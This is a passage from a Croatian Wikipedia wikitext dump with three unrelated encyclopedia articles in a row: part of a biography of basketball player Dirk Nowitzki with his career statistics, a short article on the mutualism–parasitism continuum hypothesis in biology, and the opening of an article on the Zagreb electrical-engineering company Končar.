funkciju preuzeo je pomoćni trener Avery Johnson. Unatoč svim tim promjenama, Nowitzki je ostao koncentriran tijekom cijele sezone i prosječno postizao 26.1 poena, 9.7 skokova, 3.1 asistencije i 1.5 blokada. To mu je bila druga sezona zaredom s 2000+ poena, te je sa svojim prosjekom od 26.1 poena postao najefikasniji europski igrač u [[NBA]] ligi. [[2. 12.]] [[2004.]] u utakmici s [[Houston Rockets]]ima, Nowitzki je postigao učinak karijere od 53 poena.<ref>[http://www.voanews.com/bosnian/archive/2004-12/a-2004-12-03-5-1.cfm?moddate=2004-12-03 Nowitzki postigao rekord karijere]</ref> Izabran je u [[All-NBA momčad|All-NBA prvu petorku]] i završio je treći u poretku za [[NBA Najkorisniji igrač|najkorisnijeg igrača lige]] iza Stevea Nasha i [[Shaquille O'Neal|Shaquillea O'Neala]]. U doigravanju Mavericksi su imali polovični uspjeh. U prvom krugu doigravanja susreli su se s Houston Rocketsima prevođeni [[Tracy McGrady|Tracyem McGradyem]] i [[Yao Ming]]om. Predviđalo se da će Nowitzki imati lak posao i često zabijati preko svog čuvara [[Ryan Bowen|Ryana Bowena]]. Međutim Bowen je u prvoj utakmici ograničio Nowitzkog na 21 poen, a u drugoj na 26 poena uz vrlo slab šut. Rocketsi su poveli s 2-0, a potom su Mavericksi pobijedili u iduće tri utakmice. Rocketsi dobivaju šestu utakmicu, ali Mavericksi uvjerljivo dobivaju sedmu utakmicu i pobjeđuju rezultatom serije 4-3, unatoč Dirkovom vrlo slabom postotku šuta. U polufinalu Zapada čekali su ih Phoenix Sunsi predvođeni Steveom Nashom. U prve četiri utakmice rezultat je bio 2-2. U šestoj utakmici Nowitzki nije bio na visokoj razini, postigao je 28 poena, ali uz postignutih 9 od 25 pokušaja. Sunsi su pobijedili i prošli u finale Zapada gdje su ih čekali [[San Antonio Spurs]]i. Na početku sezone 2005./06. otpušten je veteran [[Michael Finley]]. Tim događajem Nowitzki je ostao jedini član "Big Threea" u dresu Mavericksa. Nakon Finleyevog odlaska, Nowitzki je preuzeo ulogu vođe i nositelja franšize i prosječno postizao 26.6 poena, 9 skokova i 2.8 asistencija. Treću sezonu zaredom ostvario je 2000+ poena i popravio svoj rekord s najvišim prosjekom nekog [[Europa|Europljanina]] u NBA ligi. Popravio je svoj postotak šuta iz igre, iza linije tri poena i s linije slobodnih bacanja. Tijekom [[NBA All-Star vikend|All-Star vikenda]] [[2006.]] u [[Houston]]u, Nowitzki je sudjelovao u [[NBA Natjecanje u tricama|natjecanju u tricama]]. Sa svojih 18 postignutih poena odnio je pobjedu ispred [[Ray Allen|Raya Allena]] i [[Gilbert Arenas|Gilberta Arenasa]]. Mavericksi su sezoni završili sa trećim najboljim omjerom lige 60-22. Ponovno je izabran u [[All-NBA momčad]] i odveo je Maverickse do doigravanja. U doigravanju Nowitzki je opravdao svoj status zvijezde s prosjekom od 27 poena, 11.7 skokova i 2.9 asistencija. U prvom krugu doigravanja lagano su pobijedili [[Memphis Grizzlies]]e rezultatom 4-0. U polufinalu Zapada uspjeli su svladati San Antonio Spurse u sedam utakmica. Nakon šest utakmica rezultat serije je bio 3-3. U odlučujućoj sedmoj utakmici Mavericksi su poveli s dvadeset razlike, međutim 30 sekundi prije kraja utakmice [[Manu Ginobili]] pogađa tricu i dovodi Spurse u vodstvo. U idućem napadu Nowitzki je fauliran od strane Ginobilija, ali je nekako uspio položiti loptu te postići još jedno slobodno bacanje. Utakmica je bila izjednačena na 104:104. Na kraju Mavericksi su ipak odnijeli pobjedu rezultatom 119:111, a Nowitzki je utakmicu završio s 37 poena i 15 skokova. Nakon završetka susreta Nowitzki je izjavio:„ Stvarno ne znam kako je lopta prošla kroz obruč. Manu me je udario po ruci, ali se ipak sretno odbila.“ U finalu Zapada ponovno su se susreli sa Sunsima. U ključnoj petoj utakmici Nowitzki je postigao 50 poena kako bi Mavericksi poveli 3-2 i na kraju dobili seriju u šest utakmica. Predvođeni Nowitzkim Mavericksi su ostvarili prvo [[Završnice NBA|NBA finale]] u povijesti franšize. U finalu su igrali protiv [[Miami Heat]]a prevođeni [[Dwyane Wade|Dwyaneom Wadeom]] i Shaquilleom O'Nealom. Mavericksi su poveli 2-0 u seriji i propustili vodstvo od 15 poena razlike u trećoj utakmici. Nakon poraza u drugoj utakmici na scenu stupa Dwyane Wade koji je seriju preokrenuo u korist Miamia. U iduće četiri utakmice Wade je prosječno postizao 36 poena i odveo svoju momčad do pobjede u šest utakmica i osvajanja prvog naslova u povijesti kluba. U sezoni 2006./07. Nowitzki je prosječno postizao 24.6 poena, 8.9 skokova i 3.4 asistencije. Bio je glavni konkurent za najkorisnijeg igrača lige te je odveo svoju momčad do rekordnih 67 pobjeda i prvog mjesta na Zapadu. U prvom krugu doigravanja činilo se da će Mavericksi predvođeni Nowitzkim lako svladati osmoplasirane [[Golden State Warriors]]e. Međutim Warriorsi su bili iznenađenje doigravanja te su izbacili Maverickse u šest utakmica. U odlučujućoj šestoj utakmici Nowitzki je postigao samo 8 poena. Tijekom cijele serije, dobro čuvan od strane [[Stephen Jackson|Stephena Jacksona]], postizao je najmanje 5 poena manje od prosjeka u regularnom dijelu. Unatoč tom razočaravajućem porazu, Nowitzki je ipak izabran za [[NBA Najkorisniji igrač|najkorisnijeg igrača lige]] prestigavši drugoplasiranog Stevea Nasha za više od 100 glasova.<ref>[http://www.sarajevo-x.com/clanak/070516017 Nowitzki najkorisniji igrač lige]</ref> Time je postao prvi Europljanin s nagradom za najkorisnijeg igrača NBA lige. U sezoni 2007./08. Mavericksi su ponovno ispali već u prvom krugu doigravanja. U prvom krugu svladali su ih [[New Orleans Hornets]]i, a Chris ih je sa svojim sjajnim izvedbama odveo do pobjede u pet utakmica. Jedina svijetla točka te sezona bila je ta da je [[6. 2.]] [[2008.]] u utakmici s [[Milwaukee Bucks]]ima Nowitzki ostvario svoj prvi triple-double učinak u karijeri. Utakmicu je završio s 29 poena, 10 skokova i 12 asistencija. [[3. 3.]] [[2008.]] s 34 poena na utakmici prestigao je Rolanda Blackmana i postao najbolji strijelac u povijesti kluba s 16 644 poena.<ref>[http://www.24sata.hr/index.php?cmd=show_clanak&tekst_id=116972 Nowitzki: Ostajem u Dallasu i želim naslov]{{Dead link|date=September 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> U sezoni 2008./09. Nowitzki je prosječno postizao 25.9 poena, 8.4 skokova i 2.4 asistencije. Bio je četvrti strijelac lige te je po četvrti put izabran u All-NBA prvu petorku. Sezonu su završili s omjerom 50-32 te su u prvom krugu doigravanja, s Nowitzkim na čelu, svladali San Antonio Spurse 4-1. U drugom krugu doigravanja Mavericksi su se susreli s [[Denver Nuggets]]ima te su, unatoč sjajnom Nowitzkom koji je tijekom serije prosječno postizao 34.4 poena, 11.6 skokova i 4 asistencije po utakmici, izgubili rezultatom 4-1. == Reprezentacija == [[Datoteka:Dirk Nowitzki Nanjing.jpg|mini|lijevo|200px|Nowitzki u dresu reprezentacije]] U dresu [[Njemačka košarkaška reprezentacija|reprezentacije]] debitirao je na [[Europsko prvenstvo u košarci - Francuska 1999.|Europskom prvenstvu]] u [[Francuska|Francuskoj]] [[1999.]] godine. Istaknuo se kao vođa i najbolji strijelac momčadi ali se nisu uspjeli kvalificirati na [[Košarka na OI 2000.|Olimpijske igre]] u [[Sydney]]u [[2000.]] godine. Tijekom [[Europsko prvenstvo u košarci - Turska 2001.|Europskog prvenstva]] u [[Turska|Turskoj]] [[2001.]] godine, Nowitzki je bio najbolji strijelac natjecanja s prosjekom od 28.7 poena, a titulu najkorisnijeg igrača odnio je [[Predrag Stojaković]]. Njemačka je ostvarila polufinale i zamalo pobijedila domaćina [[Turska košarkaška reprezentacija|Tursku]]. Nekoliko sekundi prije kraja utakmice Turska je zaostajala tri poena, ali [[Hedo Turkoglu]] pogađa tricu sa zvukom sirene koja utakmicu odvodi u produžetke. U produžetku Njemačka je poražena, a Turska je ostvarila finale. U utakmici za treće mjesto susreli su se sa [[Španjolska košarkaška reprezentacija|Španjolskom]]. Međutim Španjolska dobiva utakmicu 99:90, a Njemačka ostaje bez medalje, unatoč sjajnim igrama Nowitzkog. Nowitzki je natjecanje završio s prosjekom od 28.7 poena i 9.1 skokova. U [[Njemačka|Njemačkoj]] ovo natjecanje pratilo je čak 3.7 milijuna gledatelja što je tada bio apsolutni rekord gledanosti u povijesti njemačke košarke. Na [[Svjetsko prvenstvo u košarci - SAD 2002.|Svjetskom prvenstvu]] u [[Indianapolis]]u [[2002.]] godine, Nowitzki je konačno ostvario medalju na velikim natjecanjima. U četvrtfinalu protiv Španjolske predvođene [[Pau Gasol|Gasolom]], Nowitzki postiže 10 poena u zadnjoj četvrtini za pobjedu Njemačke 70:62 i ulazak u polufinale. U polufinalu čekali su ih jaki [[Argentinska košarkaška reprezentacija|Argentinci]] predvođeni [[Manu Ginobili|Manuom Ginobilijem]]. Unatoč vodstvu od 74:69, četiri minute prije kraja utakmice, Argentina je na kraju pobijedila rezultatom 86:80 i spriječila ulazak Njemačke u finale. U utakmici za treće mjesto Njemačka je lako pobijedila [[Novi Zeland]] rezultatom 117:94 i osvojila brončanu medalju. Nowitzki je prosječno postizao 24 poena i proglašen je najkorisnijim igračem natjecanja. U Njemačkoj ovo natjecanje pratilo je preko 4 milijuna gledatelja. Na [[Europsko prvenstvo u košarci - Švedska 2003.|Europskom prvenstvu]] u [[Švedska|Švedskoj]] [[2003.]] godine Njemačka je ostvarila razočaravajuće deveto mjesto. U pripremnoj utakmici protiv [[Francuska košarkaška reprezentacija|Francuske]] ozljedio je [[stopalo]] u sudaru s jednim frnacuskim igračem. Nowitzki je često bio teško fauliran, a u odlučujućoj utakmici drugog kruga protiv [[Talijanska košarkaška reprezentacija|Italije]], Njemačka je izgubila rezultatom 86:84 i nije se uspjela kvalificirati na [[Košarka na OI 2004.|Olimpijske igre]] u [[Atena|Ateni]] [[2004.]] godine. Tijekom natjecanja Nowitzki je prosječno postizao 22.5 poena. Na [[Europsko prvenstvo u košarci - Srbija i Crna Gora 2005.|Europskom prvenstvu]] u [[Srbija i Crna Gora|Srbiji i Crnoj Gori]] [[2005.]] godine, Nowitzki je predvodio Njemačku do srebrne medalje. U četvrtfinalu svladali su favorizirane [[Slovenska košarkaška reprezentacija|Slovence]] rezultatom 76:62, a Nowitzki je postigao 22 poena. Poslije utakmice komentirao je:„ Slovenci su nas podcijenili. Izjavili su da smo baš mi ta momčad protiv kojih su oni htjeli igrati, a to se ne smije raditi u četvrtfinalu.“ U polufinalu Njemačka je svladala Španjolsku rezultatom 74:73, a Nowitzki je postigao 27 poena, uključujući i pobjednički koš 3.9 sekundi prije kraja. U finalu izgubili su od [[Grčka košarkaška reprezentacija|Grčke]] rezultatom 78:62. Nowitzki je prosječno postizao 26.7 poena, 10.8 skokova i 1.8 blokada i proglašen je najkorisnijim igračem natjecanja. Na [[Svjetsko prvenstvo u košarci - Japan 2006.|Svjetskom prvenstvu]] u [[Japan]]u [[2006.]], Nowitzki je predvodio svoju momčad do osmog mjesta. Poslije zadnje utakmice izjavio je:„ Bilo je teško, ali biti i osmi na svijetu nije loše.“ Na [[Europsko prvenstvo u košarci - Španjolska 2007.|Europskom prvenstvu]] u [[Španjolska|Španjolskoj]] [[2007.]] godine, Nowitzki je odveo svoju momčad do petog mjesta. Bio je vodeći strijelac natjecanja s prosjekom od 24 poena. Peto mjesto Njemačkoj nije donijelo izravnu kvalifikaciju ali im je dopustilo sudjelovanje na [[Košarka na OI 2008.|Olimpijskim igrama]] u [[Peking]]u [[2008.]] godine U odlučujućoj utakmici kvalifikacija protiv [[Puerto Rico|Puerto Rica]], Nowitzki je sa svoja 32 poena reprezentaciji osigurao nastup na [[Košarka na OI 2008.|Olimpijskim igrama]] u [[Peking]]u [[2008.]] koje su bile prve nakon [[Košarka na OI 1992.|Olimpijskih igrara]] u [[Barcelona|Barceloni]] [[1992.]] Upravo je Nowitzki odabran za nosioca njemačke zastave na otvorenu Olimpijskih igara.<ref>[http://www.ezadar.hr/clanak/nowitzkom-u-anketi-bilda-69-glasova-za-nosaca-njemacke-zastave Nowitzkom u anketi Bilda 69% glasova za nosača njemačke zastave]</ref><ref>[http://www.ezadar.hr/clanak/dirk-nowitzki-nosi-njemacku-zastavu-na-otvaranju Nowitzki nosi njemačku zastavu na otvaranju]</ref><ref>[http://nba-croatia.com/nba/index.php?option=com_content&task=view&id=2815&Itemid=65 Nowitzki: Spreman sam za EuroBasket]</ref> == Privatni život == Dirkova sestra Silke, opisala ga je kao samopouzdanu i čvrstu osobu. Također je rekla da ga sva slava i novac nisu promijenili i da je ostao onakav kakav je i bio. U slobodno vrijeme uživa u čitanju i sviranju [[saksofon]]a. Osnovao je zakladu "Dirk Nowitzki Foundation", koja pomaže siromašnima u [[Afrika|Africi]]. Nowitzki je bio dugo u vezi s bivšom košarkašicom DJK Würzburga. Upoznali su se [[1992.]] godine, a veza je potrajala čak 10 godina. Međutim uskoro su prekinuli, a Nowitzki je izjavio:„ Na kraju smo shvatili da smo jako različiti. Nije više išlo, ali smo ostali vrlo dobri prijatelji. Nadam se da ću jednog dana i ja osnovati svoju obitelj, ali ne mogu zamisliti da će se to ostvariti prije 30. godine.“ Vrlo je dobar prijatelj s [[NBA]] zvijezdom i bivšim suigračem [[Steve Nash|Steveom Nashom]]. == NBA statistika == === Regularni dio === {| class="wikitable" ! Godina !! Klub ! Odig. uta. !! Uta. poc. !! Min. !! 2P% !! 3P% !! Sl. bac.% !! Skok.!! Asist.!! Ukr. lop.!! Blok. !! Poena |- | align="left" | 1998./99. | align="left" | [[Dallas Mavericks|Dallas]] | 47 || 24 || 20.4 || .405 || .206 || .773 || 3.4 || 1.0 || .6 || .6 || 8.2 |- | align="left" | 1999./00. | align="left" | Dallas | '''82''' || 81 || 35.8 || .461 || .379 || .830 || 6.5 || 2.5 || .8 || .8 || 17.5 |- | align="left" | 2000./01. | align="left" | Dallas | '''82''' || '''82''' || 38.1 || .474 || .387 || .838 || 9.2 || 2.1 || 1.0 || 1.2 || 21.8 |- | align="left" | 2001./02. | align="left" | Dallas | 76 || 76 || 38.0 || .477 || .397 || .853 || '''9.9''' || 2.4 || 1.1 || 1.0 || 23.4 |- | align="left" | 2002./03. | align="left" | Dallas | 80 || 80 || '''39.0''' || .463 || .379 || .881 || '''9.9''' || 3.0 || '''1.4''' || 1.0 || 25.1 |- | align="left" | 2003./04. | align="left" | Dallas | 77 || 77 || 37.9 || .462 || .341 || .877 || 8.7 || 2.7 || 1.2 || 1.4 || 21.8 |- | align="left" | 2004./05. | align="left" | Dallas | 78 || 78 || 38.7 || .459 || .399 || .869 || 9.7 || 3.1 || 1.2 || '''1.5''' || 26.1 |- | align="left" | 2005./06. | align="left" | Dallas | 81 || 81 || 38.1 || .480 || .406 || .901 || 9.0 || 2.8 || .7 || 1.0 || '''26.6''' |- | align="left" | 2006./07. | align="left" | Dallas | 78 || 78 || 36.2 || '''.502''' || '''.416''' || '''.904''' || 8.9 || 3.4 || .7 || .8 || 24.6 |- | align="left" | 2007./08. | align="left" | Dallas | 77 || 77 || 36.0 || .479 || .359 || .879 || 8.6 || '''3.5''' || .7 || .9 || 23.6 |- | align="left" | 2008./09. | align="left" | Dallas | 81 || 81 || 37.7 || .479 || .359 || .890 || 8.4 || 2.4 || .8 || .8 || 25.9 |- | align="left" | 2009./10. | align="left" | Dallas | 81 || 80 || 37.5 || .481 || '''.421''' || '''.915''' || 7.7 || 2.7 || .9 || 1.0 || 25.0 |- | align="left" | 2010./11. | align="left" | Dallas | 73 || 73 || 34.3 || .'''517''' || .393 || .892 || 7.0 || 2.6 || .5 || .6 || 23.0 |- | align="left" | Ukupno | align="left" | | 993 || 968 || 36.5 || .476 || .381 || .877 || 8.4 || 2.7 || .9 || 1.0 || 23.0 |- | align="left" | All-Star | align="left" | | 8 || 1 || 18.3 || .441 || .238 || .800 || 4.1 || 1.5 || .8 || .5 || 9.1 |} === Doigravanje === {| class="wikitable" ! Godina !! Klub ! Odig. uta. !! Uta. poc. !! Min. !! 2P% !! 3P% !! Sl. bac.% !! Skok.!! Asist.!! Ukr. lop.!! Blok. !! Poena |- | align="left" | 2000./01. | align="left" | [[Dallas Mavericks|Dallas]] | 10 || 10 || 39.9 || .423 || .283 || .883 || 8.1 || 1.4 || 1.1 || .8 || 23.4 |- | align="left" | 2001./02. | align="left" | Dallas | 8 || 8 || '''44.6''' || .445 || '''.571''' || .878 || '''13.1''' || 2.3 || '''2.0''' || .8 || '''28.4''' |- | align="left" | 2002./03. | align="left" | Dallas | 17 || 17 || 42.5 || .479 || .443 || .912 || 11.5 || 2.2 || 1.2 || .9 || 25.3 |- | align="left" | 2003./04. | align="left" | Dallas | 5 || 5 || 42.4 || .450 || .467 || .857 || 11.8 || 1.4 || 1.4 || '''2.6''' || 26.6 |- | align="left" | 2004./05. | align="left" | Dallas | 13 || 13 || 42.4 || .402 || .333 || .829 || 10.1 || 3.3 || 1.4 || 1.6 || 23.7 |- | align="left" | 2005./06. | align="left" | Dallas | '''23''' || '''23''' || 42.7 || .468 || .343 || .895 || 11.7 || 2.9 || 1.1 || .6 || 27.0 |- | align="left" | 2006./07. | align="left" | Dallas | 6 || 6 || 39.8 || .383 || .211 || .840 || 11.3 || 2.3 || 1.8 || 1.3 || 19.7 |- | align="left" | 2007./08. | align="left" | Dallas | 5 || 5 || 42.2 || .473 || .333 || .808 || 12.0 || '''4.0''' || .2 || 1.4 || 26.8 |- | align="left" | 2008./09. | align="left" | Dallas | 10 || 10 || 39.5 || '''.518''' || .286 || '''.925''' || 10.1 || 3.1 || .8 || .9 || 26.8 |- | align="left" | 2009./10. | align="left" | [[Dallas Mavericks|Dallas]] | 6 || 6 || 38.8 || '''.547''' || '''.571''' || '''.952''' || 8.2 || 3.0 || .8 || .7 || 26.7 |- | align="left" | 2010./11. | align="left" | [[Dallas Mavericks|Dallas]] | 21 || 21 || 39.3 || .485 || .460 || .941 || 8.1 || 2.5 || .6 || .6 || 27.7 |- | align="left" | Ukupno | align="left" | | 124 || 124 || 41.3 || .463 || .384 || .892 || 10.4 || 2.6 || 1.1 || 1.0 || 25.9 |} == Reference == {{izvori}} == Vanjske veze == {{Commonscat|Dirk Nowitzki}} * [http://www.41-world.com/default.php#home Službena stranica] * [http://www.dirk-nowitzki-foundation.org/ Službena stranica zaklade] * [http://www.nba.com/playerfile/dirk_nowitzki Profil] na NBA.com * [http://www.basketball-reference.com/players/n/nowitdi01.html Profil] {{Webarchive|url=https://web.archive.org/web/20120118072405/http://www.basketball-reference.com/players/n/nowitdi01.html |date=2012-01-18 }} na Basketball-Reference.com * [http://www.databasebasketball.com/players/playerpage.htm?ilkid=NOWITDI01 Profil] na DataBasketball.com {{NBA draft 1998.}} {{NBA MVP}} {{NBA finale MVP}} {{Pobjednici NBA natjecanja u tricama}} {{FIBA Svjetsko prvenstvo MVP}} {{Najbolji strijelci FIBA Svjetskih prvenstava}} {{NBA75}} {{Nagrada ESPY za sportaša godine}} {{Članovi Košarkaške kuće slavnih Naismith Memorial}} {{Članovi FIBA Kuće slavnih}} {{Authority control}} {{Lifetime|1978||Nowitzki, Dirk}} [[Kategorija:Njemački košarkaši]] [[Kategorija:Košarkaši Dallas Mavericksa]] [[Kategorija:Krilni centri]] [[Kategorija:NBA prvaci (igrači)]] [[Kategorija:Njemački olimpijci]] [[Kategorija:Košarkaši na Ljetnim olimpijskim igrama 2008.‎]] [[Kategorija:Članovi Košarkaške kuće slavnih Naismith Memorial]] bdtymrl8w30jaj2qckxaj1px5qpcn3t 2 252974 42602708 42602500 2026-05-28T10:15:53Z Duma 16555 42602708 wikitext text/x-wiki Hipoteza ili paradigma '''kontinuuma mutualizma i parazitizma''' postulira da kompatibilne asocijacije domaćina i simbionta mogu zauzeti širok kontinuum interakcija s različitim ishodima fizičke spremnosti za svakog člana. Na jednom kraju kontinuuma leži obligatni mutualizam gdje i domaćin i simbiont imaju koristi od interakcije i ovise o njoj za preživljavanje. Na drugom kraju kontinuuma mogu se javiti visoko parazitske interakcije, gdje jedan član dobija korist u pogledu fizičke spremnosti na štetu preživljavanja drugih. Između tih krajnosti moguće su mnoge različite vrste interakcija.<ref>{{Cite journal|last1=Johnson|first1=N. C.|last2=Graham|first2=J. H.|last3=Smith|first3=F. A.|date=April 1997|title=Functioning of mycorrhizal associations along the mutualism-parasitism continuum|journal=New Phytologist|language=en|volume=135|issue=4|pages=575–585|doi=10.1046/j.1469-8137.1997.00729.x|issn=0028-646X|doi-access=free|bibcode=1997NewPh.135..575J }}</ref><ref>{{Cite journal|last1=Drew|first1=Georgia C.|last2=Stevens|first2=Emily J.|last3=King|first3=Kayla C.|date=October 2021|title=Microbial evolution and transitions along the parasite–mutualist continuum|journal=Nature Reviews Microbiology|language=en|volume=19|issue=10|pages=623–638|doi=10.1038/s41579-021-00550-7 |pmid=33875863 |pmc=8054256|issn=1740-1534}}</ref> Stepen promjene između mutualizma ili parazitizma varira ovisno o dostupnosti resursa, gdje postoji stres u okolišu uzrokovan malobrojnim resursima, formiraju se simbiotski odnosi, dok se u okruženjima gdje postoji višak resursa biološke interakcije pretvaraju u konkurenciju i parazitizam.<ref>{{Cite journal|last1=Mandyam|first1=Keerthi G.|last2=Jumpponen|first2=Ari|date=2015-01-12|title=Mutualism–parasitism paradigm synthesized from results of root-endophyte models|journal=Frontiers in Microbiology|volume=5|page=776|doi=10.3389/fmicb.2014.00776|issn=1664-302X|pmc=4290590|pmid=25628615|doi-access=free}}</ref> Klasično, način prijenosa simbionta također može biti važan u predviđanju gdje će se na kontinuumu mutualizma i parazitizma nalaziti interakcija.<ref>{{Cite journal|last=Ewald|first=Paul W.|date=1987|title=Transmission Modes and Evolution of the Parasitism-Mutualism Continuum|url=https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1749-6632.1987.tb40616.x|journal=Annals of the New York Academy of Sciences|language=en|volume=503|issue=1|pages=295–306|doi=10.1111/j.1749-6632.1987.tb40616.x|pmid=3304078 |bibcode=1987NYASA.503..295E |s2cid=39350499 |issn=1749-6632|url-access=subscription}}</ref> Simbionti koji se vertikalno prenose (naslijeđeni simbionti) često zauzimaju prostor mutualizma na kontinuumu, što je zbog usklađenih reproduktivnih interesa između domaćina i simbionta koji nastaju vertikalnim prijenosom. U nekim sistemima, povećanje relativnog doprinosa horizontalnog prijenosa može potaknuti selekciju za parazitizam.<ref>{{Cite journal|last1=Sachs|first1=Joel L|last2=Wilcox|first2=Thomas P|date=2006-02-22|title=A shift to parasitism in the jellyfish symbiont Symbiodinium microadriaticum|journal=Proceedings of the Royal Society B: Biological Sciences|volume=273|issue=1585|pages=425–429|doi=10.1098/rspb.2005.3346|pmc=1560209|pmid=16615208}}</ref> Istraživanja ove hipoteze fokusirala su se na modele domaćin-simbiont kod biljaka i gljiva, kao i životinja i mikroba. == Povezano == * [[Hipoteza Crvenog kralja]] * [[Hipoteza Crvene kraljice]] * [[Hipoteza Crne kraljice]] * [[Biološka interakcija]] == Reference == {{Reflist}} furitpygmzo1i9lckl7at8g66z7zm7r 0 254702 42602560 42415931 2026-05-27T14:57:25Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602560 wikitext text/x-wiki {{Coord|45.80134|N|15.93493|E|region:HR-21_type:landmark_dim:100_source:Končar|notes=<ref>{{Cite web|url=http://www.koncar.hr/Kontakt/Sjediste|title=Naša lokacija|accessdate=2013-12-16|archivedate=2013-08-25|archiveurl=https://web.archive.org/web/20130825001214/http://www.koncar.hr/Kontakt/Sjediste}}</ref>|display=title|format=dms}} {{preusmjerava|Končar}} {{Infookvir tvrtka | grupa =Končar Grupa | ime = KONČAR - Elektroindustrija d.d. | slika = [[Datoteka:Končar Logo.svg|250px|Logotip]] | vrsta = [[dioničko društvo]] | burzovni_simbol = [[Zagrebačka burza|ZSE]]: [http://zse.hr/default.aspx?id=10006&dionica=KOEI-R-A KOEI] | osnutak = [[1921.]] <ref>[http://www.koncar.hr/o_nama O nama - KONČAR - Elektroindustrija d.d.]</ref> | prestala_postojati = | osnivači = | sjedište = Fallerovo šetalište 22 | sjedište_grad = [[Zagreb]] | sjedište_država = {{flag|Hrvatska}} | ključneosobe = [[Nenad Filipović]] (CAE) | predsjednik = [[Darinko Bago]] (CEO) | konkurencija = | pokriveno_područje = | industrija = | proizvodi = | usluge = | prihod = {{Pad}} 2,762 mlrd. [[Hrvatska kuna|Kn]] <small>(2011.)</small> <ref name="zse"/> | operativni_prihod = {{Porast}} 210,819 mil. [[Hrvatska kuna|Kn]] <small>(2011.)</small> <ref name="zse"/> | neto_dobit = {{Porast}} 192,237 mil. [[Hrvatska kuna|Kn]] <small>(2011.)</small> <ref name="zse"/> | zaposleni = 3.956 <small>(31. prosinca 2011.)</small> <ref name="zse">[http://zse.hr/userdocsimages/financ/KOEI-fin2011-1Y-REV-K-HR.xls Godišnje izvješće 1Y., revidirano, konsolidirano, 2011. godina.]</ref> | holding = | divizije = Končar - Energetski transformatori d.o.o. | podruž = Končar - Energetika i usluge d.o.o.<br />Končar - Institut za elektrotehniku d.d.<br />Končar - Elektronika i informatika d.d.<br />Končar - Mali električni strojevi d.d.<br />Končar - Generatori i motori d.d.<br />Končar - Obnovljivi izvori d.o.o.<br />Končar - Mjerni transformatori d.d.<br />Končar - Distributivni i specijalni transformatori d.d.<br />Končar - Električni aparati srednjeg napona d.d.<br />Končar - Električna vozila d.d.<br />Končar - Sklopna postrojenja d.d.<br />Končar - Kućanski aparati d.o.o.<br />Končar - Električni visokonaponski aparati d.d.<br />Končar - Niskonaponske sklopke i prekidači d.o.o.<br />Končar - Ugostiteljska oprema d.d.<br />Končar - Alati d.d.<br />Končar - Montažni inženjering d.d.<br />Končar - Inženjering za energetiku i transport d.d.<br />Končar - Metalne konstrukcije d.d.<br />Kones AG <ref name="zse"/> | vlasnik = Hrvatska poštanska banka (Kapitalni fond) posjeduje 28,17% dionica, Hrvatski zavod za mirovinsko osiguranje 14,96% dionica, Hrvatski fond za privatizaciju 10,12%, Dom holding je vlasnik 7,39% dionica, dok ostalim dioničarima pripada 39,36% dionica <ref name="dionice">[http://www.koncar.hr/Investitori/Dionice Dionice - Končar - Elektroindustrija d.d.]</ref> | slogan = ''tradicija. znanje. odgovornost.'' | web = [http://www.koncar.hr/ www.koncar.hr] | dodatak = }} '''Končar Elektroindustrija d.d.''' je [[Hrvatska|hrvatsko]] [[dioničko društvo]] koje oko sebe okuplja 20 nezavisnih tvrki i jednu afiliranu tvtku. Dionica je uvrštena na [[Zagrebačka burza|Zagrebačku burzu]] [[2003.]] godine.<ref name="dionice"/> Prema podacima sa službene web stranice, "u Končaru radi oko 4000 zaposlenika, od kojih je 953 visoke stručne spreme, 19 doktora znanosti i 66 magistra znanosti". Proizvodni program se sastoji od: * izgradnje i montažoe energetskih objekata, * proizvodnje generatora i motora, * transformatora visoke energije, * sklopovne opreme za energeska postrojenja i distribuciju, * eletričnih vučnih vozila, * informacijsku i komunikacijsku opremu, * informacijska riješenja, * kućanskih aparata, * opremu za posluživanje i obradu hrane te * metalne strukture. Kao tvrtka nastala je [[1921.]], a nakon Drugog svijetskog rata tvrtka dobiva ime po [[Narodni heroj|narodnom heroju]] [[Rade Končar|Radi Končaru]]. Na službenim stranicama tvrtke nerado se spominje period u kojemu, pod nazivom "Rade Končar", tvrtka bila mnogostruko veća. Naredni citat preuzet je s izložbe ''Skriveni dizajn - odjel dizajna Končar 1971. - 1990.'': "Jedno od najvećih poduzeća na području bivše Jugoslavije, ''SOUR Rade Končar'' zapošljavao je i do 25.000 radnika u brojnim tvornicama od Samobora do Skopja. S asortimanom proizvoda od glačala do lokomotive i megaprojektima u stotinjak zemalja. Končar je zaista bio (ne samo) domaći industrijski gigant. Isporuke za nebrojene elektrane od Islanda do Indije, te nuklearne institute u Švicarskoj i Velikoj Britaniji zahtjevale su i kontinuirano ulaganje u razvoj vlastitih istraživačkih resursa." == Končar Grupa == Grupu Končar čine Končar – Elektroindustrija d.d. kao matica i 20 ovisnih društava u kojima matica ima prevladavajući utjecaj (više od 50% glasova u Glavnoj skupštini). Djelatnost Grupe Končar podijeljena je u poslovna područja: - Energetika i transport: projektiranje i izgradnja postrojenja za proizvodnju, prijenos i distribuciju električne energije, te pripadajuća oprema, tiristorske lokomotive, tramvaji, te električna oprema za stabilna elektrovučna postrojenja i - Industrija: elektromotorni pogoni, električna oprema srednjeg i niskog napona i ugostiteljska oprema; - Trgovina: električni kućanski aparati, serijski proizvodi i električni aparati niskog napona. - Posebne djelatnosti: istraživanje i razvoj proizvoda i infrastrukturne usluge === Društva Končar Grupe === * [[Končar - Inženjering za energetiku i transport d.d.]] * [[Končar - Generatori i motori]] * [[Končar - Električni visokonaponski aparati]] * [[Končar - Električni aparati srednjeg napona]] * [[Končar - Sklopna postrojenja]], ([[Sesvetski Kraljevec]]) * [[Končar - Distributivni i specijalni transformatori]] * [[Končar - Mjerni transformatori]] * [[Končar - Elektronika i informatika]] * [[Končar - Metalne konstrukcije]] * [[Končar - Električna vozila]] * [[Končar - Montažni inženjering]] * [[Končar - Obnovljivi izvori]] * [[Končar - MES d.d.]] * [[Končar - Alati]] * [[Končar - Ugostiteljska oprema]] * [[Končar - Kućanski aparati]] * [[Končar - Niskonaponske sklopke i prekidači]] * [[Končar - Institut za elektrotehniku]] * [[Končar - Energetika i usluge]] * [[Končar - Energetski transformatori]] * Kones AG, ([[Zürich]], [[Švicarska]] i [[Prag]], [[Češka]]) == Reference == {{izvori}} == Vanjske veze == * [http://www.koncar.hr/ Sužbene stranice Končar Elektroindustrija] {{Webarchive|url=https://web.archive.org/web/20051220075223/http://www.koncar.hr/ |date=2005-12-20 }} * 